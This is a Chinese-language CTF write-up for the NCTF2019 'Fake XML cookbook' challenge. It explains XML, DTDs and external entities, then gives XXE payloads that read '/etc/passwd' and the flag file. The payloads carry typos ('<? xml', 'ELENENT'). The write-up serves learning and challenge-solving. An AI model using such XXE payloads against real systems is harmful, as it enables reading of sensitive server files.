XXE漏洞

[NCTF2019]Fake XML cookbook

基础知识

XXE漏洞

XXE(XML External Injection)全称为XML外部实体注入

XML:设计用来传输与显示数据,其焦点是数据的内容
HTML:设计用来显示数据,其焦点是数据的外观

XML文档类型定义,即DTD。XXE漏洞所在的地方
XXE漏洞的触发点一般发生在可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致恶意的xml文件被上传。

XML基本了解

xml的注意要求:
1. 所有xml元素都必须有关闭标签
2. xml标签对大小写敏感
3. xml必须正确嵌套
4. xml文档必须有根元素
5. xml的属性值必须加引号

xml文档的注释:<!-- -->

DTD(文档类型定义):可定义合法的xml文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行的声明于XML文档中,也可以作为一个外部引用

DTD的三种应用形式:
1. 内部DTD文档  <!DOCTYPE 根元素[定义内容]>
2. 外部DTD文档  <!DOCTYPE 根元素 SYSTEM "DTD文件路径">
3. 内外DTD结合  <!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

DTD实体:
用于定义引用普通文本或特殊的快捷方式变量;实体引用是对实体的以用;实体可在内部或外部进行声明。
实体分为:一般实体和参数实体
一般实体的声明方法:<!ENTITY 实体名称 "实体内容">  引用一般实体的方法:&实体名称
* 一般实体可以在DTD,xml,声明前,实体声明内部引用
参数实体的声明:<!ENTITY % 实体名称 "实体内容">  引用参数实体的方法:%实体名称
* 参数实体只能在DTD中引用
内部实体:<!ENTITY 实体名称 "实体的值" > 
例:<!DOCTYPE foo [<!ELEMENT foo ANY>
   <!ENTITY xxe "hello">]> 
   <foo>&xxe</foo>
外部实体:用来引入外部资源,有SYSTEM 和 PUBLIC 两个关键字,表示实体来自本地计算机还是公共计算机
<!ENTITY 实体名称 SYSTEM "URL">

外部实体的引用可以利用如下协议:
file:///path/to/file.txt
http://url/file.txt
php://filter/read=convert.base64-encode/resource=flag.txt

外部实体可以支持http,file 等协议,所以可以通过引用外部实体进行远程文件读取
例:<?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xdsec [
    <!ELEMENT methodname ANY >
    <!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
    <methodcall>
    <methodname>&xxe;</methodname>
    </methodcall>
    这里的xml外部实体xxe被赋予的值为file:///etc/passwd 当解析xml文档时,&xxe会被替换为file:///ect/passwd的内容,导致敏感信息泄露

WP

此题就是一个简单的xxe攻击

payload:
<? xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELENENT name ANY >
<!ENTITY person SYSTEM "file:///flag">
]>
<user>
<username>&person;</username>
<password>123</password>
</user>

image-20210101221407136image-20210101221407136

flag的位置是猜出来的

XXE漏洞后期可以专门学习一下

最后修改于:2021年03月31日 21:46

添加新评论